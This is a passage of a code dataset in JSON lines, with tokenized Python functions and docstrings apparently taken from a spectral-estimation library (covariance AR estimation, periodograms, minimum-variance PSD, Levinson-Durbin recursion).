{"signature": "def arcovar_marple(x, order):", "body": "assert len(x) >= order, \"<STR_LIT>\"<EOL>x = np.array(x)<EOL>N = len(x)<EOL>r0 = sum(abs(x)**<NUM_LIT>)<EOL>r1 = abs(x[<NUM_LIT:0>])**<NUM_LIT:2><EOL>rN = abs(x[N-<NUM_LIT:1>])**<NUM_LIT:2><EOL>pf = r0 - r1<EOL>pb = r0 - rN<EOL>delta = <NUM_LIT:1.> - r1 / r0<EOL>gamma = <NUM_LIT:1.> - rN / r0<EOL>c = np.zeros(N, dtype=complex)<EOL>d = np.zeros(N, dtype=complex)<EOL>r = np.zeros(N, dtype=complex)<EOL>af = np.zeros(N, dtype=complex)<EOL>ab = np.zeros(N, dtype=complex)<EOL>c[<NUM_LIT:0>] = x[N-<NUM_LIT:1>].conjugate() / r0<EOL>d[<NUM_LIT:0>] = x[<NUM_LIT:0>].conjugate() / r0<EOL>if order == <NUM_LIT:0>:<EOL><INDENT>pf = r0 / float(N)<EOL>pb = pf<EOL>return af, pf, ab, pb, <NUM_LIT:0><EOL><DEDENT>pbv = []<EOL>for m in range(<NUM_LIT:0>, order+<NUM_LIT:1>):<EOL><INDENT>logging.debug('<STR_LIT>', m)<EOL>logging.debug(c[<NUM_LIT:0>:<NUM_LIT:2>])<EOL>logging.debug(d[<NUM_LIT:0>:<NUM_LIT:2>])<EOL>r1 = <NUM_LIT:1.>/pf<EOL>r2 = <NUM_LIT:1.>/pb<EOL>r3 = <NUM_LIT:1.>/delta<EOL>r4 = <NUM_LIT:1.>/gamma<EOL>temp = <NUM_LIT:0.>+<NUM_LIT><EOL>for k in range(m+<NUM_LIT:1>, N):<EOL><INDENT>temp = temp + x[k]*x[k-m-<NUM_LIT:1>].conjugate()<EOL><DEDENT>r[m] =  temp.conjugate()<EOL>theta = x[<NUM_LIT:0>] * c[m]<EOL>if m == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for k in range(<NUM_LIT:0>, m):<EOL><INDENT>theta = theta + x[m-k] * c[k]                   <EOL>r[k] = r[k] - x[N-m-<NUM_LIT:1>] * x[N-m+k].conjugate() <EOL>temp = temp + af[m-k-<NUM_LIT:1>] * r[k].conjugate()<EOL><DEDENT><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>c1 = -temp * r2<EOL>c2 = -r1 * temp.conjugate()<EOL>c3 = theta * r3<EOL>c4 = r4 *theta.conjugate()<EOL>af[m] = c1                    <EOL>ab[m] = c2                    <EOL>save = c[m]<EOL>c[m] = save + c3*d[m]<EOL>d[m] = d[m] + c4*save<EOL>if m == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for k in range(<NUM_LIT:0>, m):<EOL><INDENT>save = af[k]<EOL>af[k] = save + c1 * ab[m-k-<NUM_LIT:1>] <EOL>ab[m-k-<NUM_LIT:1>] = ab[m-k-<NUM_LIT:1>] + c2 * save   <EOL>save = c[k]<EOL>c[k] = save + c3*d[k]       <EOL>d[k] = d[k] + c4*save       <EOL><DEDENT><DEDENT>r5 = temp.real**<NUM_LIT:2> + temp.imag**<NUM_LIT:2><EOL>pf = pf - r5*r2         <EOL>pb = pb - r5*r1         <EOL>r5 = theta.real**<NUM_LIT:2> + theta.imag**<NUM_LIT:2><EOL>delta = delta - r5*r4               <EOL>gamma = gamma - r5*r3               <EOL>if m != order-<NUM_LIT:1>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>pf = pf / float(N-m-<NUM_LIT:1>)<EOL>pb = pb / float(N-m-<NUM_LIT:1>)<EOL>break<EOL><DEDENT>if pf > <NUM_LIT:0> and pb > <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (delta > <NUM_LIT:0.> and delta <=<NUM_LIT:1> and gamma > <NUM_LIT:0.> and gamma <=<NUM_LIT:1>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ValueError(\"<STR_LIT>\")<EOL><DEDENT>r1 = <NUM_LIT:1.>/pf<EOL>r2 = <NUM_LIT:1.>/pb<EOL>r3 = <NUM_LIT:1.>/delta<EOL>r4 = <NUM_LIT:1.>/gamma<EOL>ef = x[m+<NUM_LIT:1>]<EOL>eb = x[(N-<NUM_LIT:1>)-m-<NUM_LIT:1>]<EOL>for k in range(<NUM_LIT:0>,m+<NUM_LIT:1>):<EOL><INDENT>ef = ef + af[k] * x[m-k]             <EOL>eb = eb + ab[k] * x[N-m+k-<NUM_LIT:1>]                   <EOL><DEDENT>c1 = ef*r3<EOL>c2 = eb*r4<EOL>c3 = eb.conjugate() * r2<EOL>c4 = ef.conjugate() * r1<EOL>for k in range(m, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>save = af[k]<EOL>af[k] = save + c1 * d[k]                    <EOL>d[k+<NUM_LIT:1>] = d[k] + c4 * save                    <EOL>save = ab[k]<EOL>ab[k] = save + c2 * c[m-k]                 <EOL>c[m-k] = c[m-k] + c3 * save              <EOL><DEDENT>c[m+<NUM_LIT:1>] = c3<EOL>d[<NUM_LIT:0>] = c4<EOL>r5 = ef.real**<NUM_LIT:2> + ef.imag**<NUM_LIT:2><EOL>pf = pf - r5 * r3                              <EOL>delta = delta-r5 * r1                        <EOL>r5 = eb.real**<NUM_LIT:2> + eb.imag**<NUM_LIT:2><EOL>pb = pb - r5 * r4                              <EOL>gamma = gamma-r5*r2                        <EOL>pbv.append(pb)<EOL>if (pf > <NUM_LIT:0.> and pb > <NUM_LIT:0.>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (delta > <NUM_LIT:0.> and delta <= <NUM_LIT:1.>) and (gamma > <NUM_LIT:0.> and gamma <= <NUM_LIT:1.>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return af, pf, ab, pb, pbv<EOL>", "docstring": "r\"\"\"Estimate AR model parameters using covariance method\n\n    This implementation is based on [Marple]_. This code is far more\n    complicated and slower than :func:`arcovar` function, which is now the official version.\n    See :func:`arcovar` for a detailed description of Covariance method.\n\n    This function should be used in place of arcovar only if order<=4, for\n    which :func:`arcovar` does not work.\n\n    Fast algorithm for the solution of the covariance least squares normal\n    equations from Marple.\n\n    :param array X:  Array of complex data samples\n    :param int oder: Order of linear prediction model\n\n    :return:\n        * AF   - Array of complex forward linear prediction coefficients\n        * PF   - Real forward linear prediction variance at order IP\n        * AB   - Array of complex backward linear prediction coefficients\n        * PB   - Real backward linear prediction variance at order IP\n        * PV   - store linear prediction coefficients\n\n    .. note:: this code and the original code in Marple diverge for ip>10.\n        it seems that this is related to single precision used with\n        complex type in fortran whereas numpy uses double precision for\n        complex type.\n\n    :validation: the AR parameters are the same as those returned by\n        a completely different function :func:`arcovar`.\n\n    :References: [Marple]_", "id": "f10928:m0"}
{"signature": "def arcovar(x, order):", "body": "from spectrum import corrmtx<EOL>import scipy.linalg<EOL>X = corrmtx(x, order, '<STR_LIT>')<EOL>Xc = np.matrix(X[:, <NUM_LIT:1>:])<EOL>X1 = np.array(X[:, <NUM_LIT:0>])<EOL>a, _residues, _rank, _singular_values = scipy.linalg.lstsq(-Xc, X1)<EOL>Cz = np.dot(X1.conj().transpose(), Xc)<EOL>e = np.dot(X1.conj().transpose(), X1) + np.dot(Cz, a)<EOL>assert e.imag < <NUM_LIT>, '<STR_LIT>'<EOL>e = float(e.real) <EOL>return a, e<EOL>", "docstring": "r\"\"\"Simple and fast implementation of the covariance AR estimate\n\n    This code is 10 times faster than :func:`arcovar_marple` and more importantly\n    only 10 lines of code, compared to a 200 loc for :func:`arcovar_marple`\n\n\n    :param array X:  Array of complex data samples\n    :param int oder: Order of linear prediction model\n\n    :return:\n        * a - Array of complex forward linear prediction coefficients\n        * e - error\n\n    The covariance method fits a Pth order autoregressive (AR) model to the\n    input signal, which is assumed to be the output of\n    an AR system driven by white noise. This method minimizes the forward\n    prediction error in the least-squares sense. The output vector\n    contains the normalized estimate of the AR system parameters\n\n    The white noise input variance estimate is also returned.\n\n    If is the power spectral density of y(n), then:\n\n    .. math:: \\frac{e}{\\left| A(e^{jw}) \\right|^2} = \\frac{e}{\\left| 1+\\sum_{k-1}^P a(k)e^{-jwk}\\right|^2}\n\n    Because the method characterizes the input data using an all-pole model,\n    the correct choice of the model order p is important.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import arcovar, marple_data, arma2psd\n        from pylab import plot, log10, linspace, axis\n\n        ar_values, error = arcovar(marple_data, 15)\n        psd = arma2psd(ar_values, sides='centerdc')\n        plot(linspace(-0.5, 0.5, len(psd)), 10*log10(psd/max(psd)))\n        axis([-0.5, 0.5, -60, 0])\n\n    .. seealso:: :class:`pcovar`\n\n    :validation: the AR parameters are the same as those returned by\n        a completely different function :func:`arcovar_marple`.\n\n    :References: [Mathworks]_", "id": "f10928:m1"}
{"signature": "def __init__(self, data, order, NFFT=None, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=False):", "body": "super(pcovar, self).__init__(data, ar_order=order,<EOL>NFFT=NFFT, sampling=sampling,<EOL>scale_by_freq=scale_by_freq)<EOL>", "docstring": "**Constructor**\n\n        For a detailled description of the parameters, see :func:`arcovar`.\n\n        :param array data: input data (list or numpy.array)\n        :param int order:\n        :param int NFFT: total length of the final data sets (padded\n            with zero if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10928:c0:m0"}
{"signature": "def speriodogram(x, NFFT=None, detrend=True, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=True, window='<STR_LIT>', axis=<NUM_LIT:0>):", "body": "x = np.array(x)<EOL>if x.ndim == <NUM_LIT:1>:<EOL><INDENT>axis = <NUM_LIT:0><EOL>r = x.shape[<NUM_LIT:0>]<EOL>w = Window(r, window)   <EOL>w = w.data<EOL><DEDENT>elif x.ndim == <NUM_LIT:2>:<EOL><INDENT>logging.debug('<STR_LIT>')<EOL>[r, c] = x.shape<EOL>w = np.array([Window(r, window).data for this in range(c)]).reshape(r,c) <EOL><DEDENT>if NFFT is None:<EOL><INDENT>NFFT = len(x)<EOL><DEDENT>isreal = np.isrealobj(x)<EOL>if detrend == True:<EOL><INDENT>m = np.mean(x, axis=axis)<EOL><DEDENT>else:<EOL><INDENT>m = <NUM_LIT:0><EOL><DEDENT>if isreal == True:<EOL><INDENT>if x.ndim == <NUM_LIT:2>:<EOL><INDENT>res =  (abs (rfft (x*w - m, NFFT, axis=<NUM_LIT:0>))) ** <NUM_LIT> / r<EOL><DEDENT>else:<EOL><INDENT>res =  (abs (rfft (x*w - m, NFFT, axis=-<NUM_LIT:1>))) ** <NUM_LIT> / r<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if x.ndim == <NUM_LIT:2>:<EOL><INDENT>res =  (abs (fft (x*w - m, NFFT, axis=<NUM_LIT:0>))) ** <NUM_LIT> / r<EOL><DEDENT>else:<EOL><INDENT>res =  (abs (fft (x*w - m, NFFT, axis=-<NUM_LIT:1>))) ** <NUM_LIT> / r<EOL><DEDENT><DEDENT>if scale_by_freq is True:<EOL><INDENT>df = sampling / float(NFFT)<EOL>res*= <NUM_LIT:2> * np.pi / df<EOL><DEDENT>if x.ndim == <NUM_LIT:1>:<EOL><INDENT>return res.transpose()<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT>", "docstring": "Simple periodogram, but matrices accepted.\n\n    :param x: an array or matrix of data samples.\n    :param NFFT: length of the data before FFT is computed (zero padding)\n    :param bool detrend: detrend the data before co,puteing the FFT\n    :param float sampling: sampling frequency of the input :attr:`data`.\n\n    :param scale_by_freq:\n    :param str window:\n\n    :return: 2-sided PSD if complex data, 1-sided if real.\n\n    if a matrix is provided (using numpy.matrix), then a periodogram\n    is computed for each row. The returned matrix has the same shape as the input\n    matrix.\n\n    The mean of the input data is also removed from the data before computing\n    the psd.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from pylab import grid, semilogy\n        from spectrum import data_cosine, speriodogram\n        data = data_cosine(N=1024, A=0.1, sampling=1024, freq=200)\n        semilogy(speriodogram(data, detrend=False, sampling=1024), marker='o')\n        grid(True)\n\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        import numpy\n        from spectrum import speriodogram, data_cosine\n        from pylab import figure, semilogy, figure ,imshow\n        # create N data sets and make the frequency dependent on the time\n        N = 100\n        m = numpy.concatenate([data_cosine(N=1024, A=0.1, sampling=1024, freq=x) \n            for x in range(1, N)]);\n        m.resize(N, 1024)\n        res = speriodogram(m)\n        figure(1)\n        semilogy(res)\n        figure(2)\n        imshow(res.transpose(), aspect='auto')\n\n    .. todo:: a proper spectrogram class/function that takes care of normalisation", "id": "f10929:m0"}
{"signature": "def WelchPeriodogram(data, NFFT=None,  sampling=<NUM_LIT:1.>, **kargs):", "body": "from pylab import psd<EOL>spectrum = Spectrum(data, sampling=<NUM_LIT:1.>)<EOL>P = psd(data, NFFT, Fs=sampling, **kargs)<EOL>spectrum.psd = P[<NUM_LIT:0>]<EOL>return P, spectrum<EOL>", "docstring": "r\"\"\"Simple periodogram wrapper of numpy.psd function.\n\n    :param A: the input data\n    :param int NFFT: total length of the final data sets (padded \n        with zero if needed; default is 4096)\n    :param str window:\n\n    :Technical documentation:\n\n    When we calculate the periodogram of a set of data we get an estimation\n    of the spectral density. In fact as we use a Fourier transform and a\n    truncated segments the spectrum is the convolution of the data with a\n    rectangular window which Fourier transform is\n\n    .. math::\n\n        W(s)= \\frac{1}{N^2} \\left[ \\frac{\\sin(\\pi s)}{\\sin(\\pi s/N)} \\right]^2\n\n    Thus oscillations and sidelobes appears around the main frequency. One aim of t he tapering is to reduced this effects. We multiply data by a window whose  sidelobes are much smaller than the main lobe. Classical window is hanning window.  But other windows are available. However we must take into account this energy and divide the spectrum by energy of taper used. Thus periodogram becomes :\n\n    .. math::\n\n        D_k \\equiv \\sum_{j=0}^{N-1}c_jw_j \\; e^{2\\pi ijk/N}  \\qquad k=0,...,N-1\n\n    .. math::\n\n        P(0)=P(f_0)=\\frac{1}{2\\pi W_{ss}}\\arrowvert{D_0}\\arrowvert^2\n\n    .. math::\n\n        P(f_k)=\\frac{1}{2\\pi W_{ss}} \\left[\\arrowvert{D_k}\\arrowvert^2+\\arrowvert{D_{N-k}}\\arrowvert^2\\right]        \\qquad k=0,1,...,     \\left( \\frac{1}{2}-1 \\right)\n\n    .. math::\n\n        P(f_c)=P(f_{N/2})= \\frac{1}{2\\pi W_{ss}} \\arrowvert{D_{N/2}}\\arrowvert^2\n\n    with\n\n    .. math::\n\n        {W_{ss}} \\equiv N\\sum_{j=0}^{N-1}w_j^2\n\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import WelchPeriodogram, marple_data\n        psd = WelchPeriodogram(marple_data, 256)", "id": "f10929:m1"}
{"signature": "def DaniellPeriodogram(data, P, NFFT=None, detrend='<STR_LIT>', sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=True, window='<STR_LIT>'):", "body": "psd = speriodogram(data, NFFT=NFFT, detrend=detrend, sampling=sampling,<EOL>scale_by_freq=scale_by_freq, window=window)<EOL>if len(psd) % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>datatype = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>datatype = '<STR_LIT>'<EOL><DEDENT>N = len(psd)<EOL>_slice = <NUM_LIT:2> * P + <NUM_LIT:1><EOL>if datatype == '<STR_LIT>': <EOL><INDENT>newN = np.ceil(psd.size/float(_slice))<EOL>if newN % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>newN = psd.size/_slice<EOL><DEDENT><DEDENT>else:<EOL><INDENT>newN = np.ceil(psd.size/float(_slice))<EOL>if newN % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>newN = psd.size/_slice<EOL><DEDENT><DEDENT>newpsd = np.zeros(int(newN)) <EOL>for i in range(<NUM_LIT:0>, newpsd.size):<EOL><INDENT>count = <NUM_LIT:0> <EOL>for n in range(i*_slice-P, i*_slice+P+<NUM_LIT:1>): <EOL><INDENT>if n > <NUM_LIT:0> and n<N: <EOL><INDENT>count += <NUM_LIT:1><EOL>newpsd[i] += psd[n]<EOL><DEDENT><DEDENT>newpsd[i] /= float(count)<EOL><DEDENT>if datatype == '<STR_LIT>':<EOL><INDENT>freq = np.linspace(<NUM_LIT:0>, sampling, len(newpsd))<EOL><DEDENT>else:<EOL><INDENT>df = <NUM_LIT:1.> / sampling<EOL>freq = np.linspace(<NUM_LIT:0>,sampling/<NUM_LIT>, len(newpsd))<EOL><DEDENT>return newpsd, freq<EOL>", "docstring": "r\"\"\"Return Daniell's periodogram.\n\n    To reduce fast fluctuations of the spectrum one idea proposed by daniell\n    is to average each value with points in its neighboorhood. It's like\n    a low filter.\n\n    .. math:: \\hat{P}_D[f_i]= \\frac{1}{2P+1} \\sum_{n=i-P}^{i+P} \\tilde{P}_{xx}[f_n]\n\n    where P is the number of points to average.\n\n    Daniell's periodogram is the convolution of the spectrum with a low filter:\n\n    .. math:: \\hat{P}_D(f)=   \\hat{P}_{xx}(f)*H(f)\n\n    Example::\n\n        >>> DaniellPeriodogram(data, 8)\n\n    if N/P is not integer, the final values of the original PSD are not used.\n\n    using DaniellPeriodogram(data, 0) should give the original PSD.", "id": "f10929:m2"}
{"signature": "def __init__(self, data, sampling=<NUM_LIT:1.>,<EOL>window='<STR_LIT>', NFFT=None, scale_by_freq=False,<EOL>detrend=None):", "body": "super(Periodogram, self).__init__(data,<EOL>window=window,<EOL>sampling=sampling,<EOL>NFFT=NFFT,<EOL>scale_by_freq=scale_by_freq,<EOL>detrend=detrend)<EOL>", "docstring": "**Periodogram Constructor**\n\n        :param array data: input data (list or numpy.array)\n        :param float sampling: sampling frequency of the input :attr:`data`.\n        :param str window: a tapering window. See :class:`~spectrum.window.Window`.\n        :param int NFFT: total length of the final data sets (padded with zero\n            if needed; default is 4096)\n        :param bool scale_by_freq:\n        :param str detrend:", "id": "f10929:c0:m0"}
{"signature": "def __init__(self, data, P, sampling=<NUM_LIT:1.>,<EOL>window='<STR_LIT>', NFFT=None, scale_by_freq=True,<EOL>detrend=None):", "body": "super(pdaniell, self).__init__(data,<EOL>window=window,<EOL>sampling=sampling,<EOL>NFFT=NFFT,<EOL>scale_by_freq=scale_by_freq,<EOL>detrend=detrend)<EOL>self.P = P<EOL>", "docstring": "**pdaniell Constructor**\n\n        :param array data:  input data (list or numpy.array)\n        :param int P:       number of neighbours to average over.\n        :param float sampling: sampling frequency of the input :attr:`data`.\n        :param str window:  a tapering window. See :class:`~spectrum.window.Window`.\n        :param int NFFT: total length of the final data sets (padded with \n            zero if needed; default is 4096)\n        :param bool scale_by_freq:\n        :param str detrend:", "id": "f10929:c1:m0"}
{"signature": "def minvar(X, order, sampling=<NUM_LIT:1.>, NFFT=default_NFFT):", "body": "errors.is_positive_integer(order)<EOL>errors.is_positive_integer(NFFT)<EOL>psi = np.zeros(NFFT, dtype=complex)<EOL>A, P, k = arburg (X, order - <NUM_LIT:1>)<EOL>A = np.insert(A, <NUM_LIT:0>, <NUM_LIT:1.>+<NUM_LIT>)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>for K in range(<NUM_LIT:0>, order):<EOL><INDENT>SUM = <NUM_LIT:0.><EOL>MK = order-K<EOL>for I in range(<NUM_LIT:0>, order - K):<EOL><INDENT>SUM = SUM + float(MK-<NUM_LIT:2>*I) * A[I].conjugate()*A[I+K]  <EOL><DEDENT>SUM = SUM/P<EOL>if K != <NUM_LIT:0>:<EOL><INDENT>psi[NFFT-K] = SUM.conjugate()<EOL><DEDENT>psi[K] = SUM<EOL><DEDENT>psi = fft(psi, NFFT)<EOL>PSD = sampling / np.real(psi)<EOL>return PSD, A, k<EOL>", "docstring": "r\"\"\"Minimum Variance Spectral Estimation (MV)\n\n    This function computes the minimum variance spectral estimate using\n    the Musicus procedure.  The Burg algorithm from :func:`~spectrum.burg.arburg`\n    is used for the estimation of the autoregressive parameters.\n    The MV spectral estimator is given by:\n\n    .. math:: P_{MV}(f) = \\frac{T}{e^H(f) R^{-1}_p e(f)}\n\n\n    where :math:`R^{-1}_p` is the inverse of the estimated autocorrelation\n    matrix  (Toeplitz) and :math:`e(f)` is the complex sinusoid vector.\n\n    :param X: Array of complex or real data samples (length N)\n    :param int order: Dimension of correlation matrix (AR order = order - 1 )\n    :param float T: Sample interval (PSD scaling)\n    :param int NFFT: length of the final PSD\n\n    :return:\n        * PSD  - Power spectral density values (two-sided)\n        * AR   - AR coefficients (Burg algorithm)\n        * k    - Reflection coefficients (Burg algorithm)\n\n    .. note:: The MV spectral estimator is not a true PSD function because the\n        area under the MV estimate does not represent the total power in the\n        measured process. MV minimises the variance of the output of a narrowband\n        filter and adpats itself to the spectral content of the input data\n        at each frequency.\n\n    :Example: The following example computes a PSD estimate using :func:`minvar`\n        The output PSD is transformed to a ``centerdc`` PSD and plotted.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import *\n        from pylab import plot, log10, linspace, xlim\n        psd, A, k = minvar(marple_data, 15)\n        psd = twosided_2_centerdc(psd) # switch positive and negative freq\n        f = linspace(-0.5, 0.5, len(psd))\n        plot(f, 10 * log10(psd/max(psd)))\n        xlim(-0.5, 0.5 )\n\n    .. seealso::\n\n        * External functions used are :meth:`~spectrum.burg.arburg`\n          and  numpy.fft.fft\n        * :class:`pminvar`, a Class dedicated to MV method.\n\n    :Reference: [Marple]_", "id": "f10930:m0"}
{"signature": "def __init__(self, data, order, NFFT=None, sampling=<NUM_LIT:1.>, scale_by_freq=False):", "body": "super(pminvar, self).__init__(data, ar_order=order, sampling=sampling,<EOL>NFFT=NFFT, scale_by_freq=scale_by_freq)<EOL>", "docstring": "**Constructor**\n\n        For a detailled description of the parameters, see :func:`minvar`.\n\n        :param array data: input data (list or numpy.array)\n        :param int order:\n        :param int NFFT: total length of the final data sets (padded with\n            zero if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10930:c0:m0"}
{"signature": "def LEVINSON(r, order=None, allow_singularity=False):", "body": "<EOL>T0  = numpy.real(r[<NUM_LIT:0>])<EOL>T = r[<NUM_LIT:1>:]<EOL>M = len(T)<EOL>if order is None:<EOL><INDENT>M = len(T)<EOL><DEDENT>else:<EOL><INDENT>assert order <= M, '<STR_LIT>'<EOL>M = order<EOL><DEDENT>realdata = numpy.isrealobj(r)<EOL>if realdata is True:<EOL><INDENT>A = numpy.zeros(M, dtype=float)<EOL>ref = numpy.zeros(M, dtype=float)<EOL><DEDENT>else:<EOL><INDENT>A = numpy.zeros(M, dtype=complex)<EOL>ref = numpy.zeros(M, dtype=complex)<EOL><DEDENT>P = T0<EOL>for k in range(<NUM_LIT:0>, M):<EOL><INDENT>save = T[k]<EOL>if k == <NUM_LIT:0>:<EOL><INDENT>temp = -save / P<EOL><DEDENT>else:<EOL><INDENT>for j in range(<NUM_LIT:0>, k):<EOL><INDENT>save = save + A[j] * T[k-j-<NUM_LIT:1>]<EOL><DEDENT>temp = -save / P<EOL><DEDENT>if realdata:<EOL><INDENT>P = P * (<NUM_LIT:1.> - temp**<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>P = P * (<NUM_LIT:1.> - (temp.real**<NUM_LIT:2>+temp.imag**<NUM_LIT:2>))<EOL><DEDENT>if P <= <NUM_LIT:0> and allow_singularity==False:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>A[k] = temp<EOL>ref[k] = temp <EOL>if k == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>khalf = (k+<NUM_LIT:1>)//<NUM_LIT:2><EOL>if realdata is True:<EOL><INDENT>for j in range(<NUM_LIT:0>, khalf):<EOL><INDENT>kj = k-j-<NUM_LIT:1><EOL>save = A[j]<EOL>A[j] = save + temp * A[kj]<EOL>if j != kj:<EOL><INDENT>A[kj] += temp*save<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for j in range(<NUM_LIT:0>, khalf):<EOL><INDENT>kj = k-j-<NUM_LIT:1><EOL>save = A[j]<EOL>A[j] = save + temp * A[kj].conjugate()<EOL>if j != kj:<EOL><INDENT>A[kj] = A[kj] + temp * save.conjugate()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return A, P, ref<EOL>", "docstring": "r\"\"\"Levinson-Durbin recursion.\n\n    Find the coefficients of a length(r)-1 order autoregressive linear process\n\n    :param r: autocorrelation sequence of length N + 1 (first element being the zero-lag autocorrelation)\n    :param order: requested order of the autoregressive coefficients. default is N.\n    :param allow_singularity: false by default. Other implementations may be True (e.g., octave)\n\n    :return:\n        * the `N+1` autoregressive coefficients :math:`A=(1, a_1...a_N)`\n        * the prediction errors\n        * the `N` reflections coefficients values\n\n    This algorithm solves the set of complex linear simultaneous equations\n    using Levinson algorithm.\n\n    .. math::\n\n        \\bold{T}_M \\left( \\begin{array}{c} 1 \\\\ \\bold{a}_M \\end{array} \\right) =\n        \\left( \\begin{array}{c} \\rho_M \\\\ \\bold{0}_M  \\end{array} \\right)\n\n    where :math:`\\bold{T}_M` is a Hermitian Toeplitz matrix with elements\n    :math:`T_0, T_1, \\dots ,T_M`.\n\n    .. note:: Solving this equations by Gaussian elimination would\n        require :math:`M^3` operations whereas the levinson algorithm\n        requires :math:`M^2+M` additions and :math:`M^2+M` multiplications.\n\n    This is equivalent to solve the following symmetric Toeplitz system of\n    linear equations\n\n    .. math::\n\n        \\left( \\begin{array}{cccc}\n        r_1 & r_2^* & \\dots & r_{n}^*\\\\\n        r_2 & r_1^* & \\dots & r_{n-1}^*\\\\\n        \\dots & \\dots & \\dots & \\dots\\\\\n        r_n & \\dots & r_2 & r_1 \\end{array} \\right)\n        \\left( \\begin{array}{cccc}\n        a_2\\\\\n        a_3 \\\\\n        \\dots \\\\\n        a_{N+1}  \\end{array} \\right)\n        =\n        \\left( \\begin{array}{cccc}\n        -r_2\\\\\n        -r_3 \\\\\n        \\dots \\\\\n        -r_{N+1}  \\end{array} \\right)\n\n    where :math:`r = (r_1  ... r_{N+1})` is the input autocorrelation vector, and\n    :math:`r_i^*` denotes the complex conjugate of :math:`r_i`. The input r is typically\n    a vector of autocorrelation coefficients where lag 0 is the first\n    element :math:`r_1`.\n\n\n    .. doctest::\n\n        >>> import numpy; from spectrum import LEVINSON\n        >>> T = numpy.array([3., -2+0.5j, .7-1j])\n        >>> a, e, k = LEVINSON(T)", "id": "f10931:m0"}
{"signature": "def rlevinson(a, efinal):", "body": "a = numpy.array(a)<EOL>realdata = numpy.isrealobj(a)<EOL>assert a[<NUM_LIT:0>] == <NUM_LIT:1>, '<STR_LIT>'<EOL>p = len(a)<EOL>if p < <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if realdata == True:<EOL><INDENT>U = numpy.zeros((p, p)) <EOL><DEDENT>else:<EOL><INDENT>U = numpy.zeros((p, p), dtype=complex)<EOL><DEDENT>U[:, p-<NUM_LIT:1>] = numpy.conj(a[-<NUM_LIT:1>::-<NUM_LIT:1>]) <EOL>p = p -<NUM_LIT:1><EOL>e = numpy.zeros(p)<EOL>e[-<NUM_LIT:1>] = efinal <EOL>for k in range(p-<NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>[a, e[k-<NUM_LIT:1>]] = levdown(a, e[k])<EOL>U[:, k] = numpy.concatenate((numpy.conj(a[-<NUM_LIT:1>::-<NUM_LIT:1>].transpose()) ,<EOL>[<NUM_LIT:0>]*(p-k) ))<EOL><DEDENT>e0 = e[<NUM_LIT:0>]/(<NUM_LIT:1.>-abs(a[<NUM_LIT:1>]**<NUM_LIT:2>)) <EOL>U[<NUM_LIT:0>,<NUM_LIT:0>] = <NUM_LIT:1>                <EOL>kr = numpy.conj(U[<NUM_LIT:0>,<NUM_LIT:1>:])     <EOL>kr = kr.transpose()                 <EOL>R = numpy.zeros(<NUM_LIT:1>, dtype=complex)<EOL>k = <NUM_LIT:1><EOL>R0 = e0 <EOL>R[<NUM_LIT:0>] = -numpy.conj(U[<NUM_LIT:0>,<NUM_LIT:1>])*R0   <EOL>for k in range(<NUM_LIT:1>,p):<EOL><INDENT>r = -sum(numpy.conj(U[k-<NUM_LIT:1>::-<NUM_LIT:1>,k])*R[-<NUM_LIT:1>::-<NUM_LIT:1>]) - kr[k]*e[k-<NUM_LIT:1>]<EOL>R = numpy.insert(R, len(R), r)<EOL><DEDENT>R = numpy.insert(R, <NUM_LIT:0>, e0)<EOL>return R, U, kr, e<EOL>", "docstring": "computes the autocorrelation coefficients, R based\n    on the prediction polynomial A and the final prediction error Efinal,\n    using the stepdown algorithm.\n\n    Works for real or complex data\n\n    :param a:\n    :param efinal:\n\n    :return:\n        * R, the autocorrelation\n        * U  prediction coefficient\n        * kr reflection coefficients\n        * e errors\n\n    A should be a minimum phase polynomial and A(1) is assumed to be unity.\n\n    :returns: (P+1) by (P+1) upper triangular matrix, U,\n        that holds the i'th order prediction polynomials\n        Ai, i=1:P, where P is the order of the input\n        polynomial, A.\n\n\n\n             [ 1  a1(1)*  a2(2)* ..... aP(P)  * ]\n             [ 0  1       a2(1)* ..... aP(P-1)* ]\n       U  =  [ .................................]\n             [ 0  0       0      ..... 1        ]\n\n    from which the i'th order prediction polynomial can be extracted\n    using Ai=U(i+1:-1:1,i+1)'. The first row of U contains the\n    conjugates of the reflection coefficients, and the K's may be\n    extracted using, K=conj(U(1,2:end)).\n\n    .. todo:: remove the conjugate when data is real data, clean 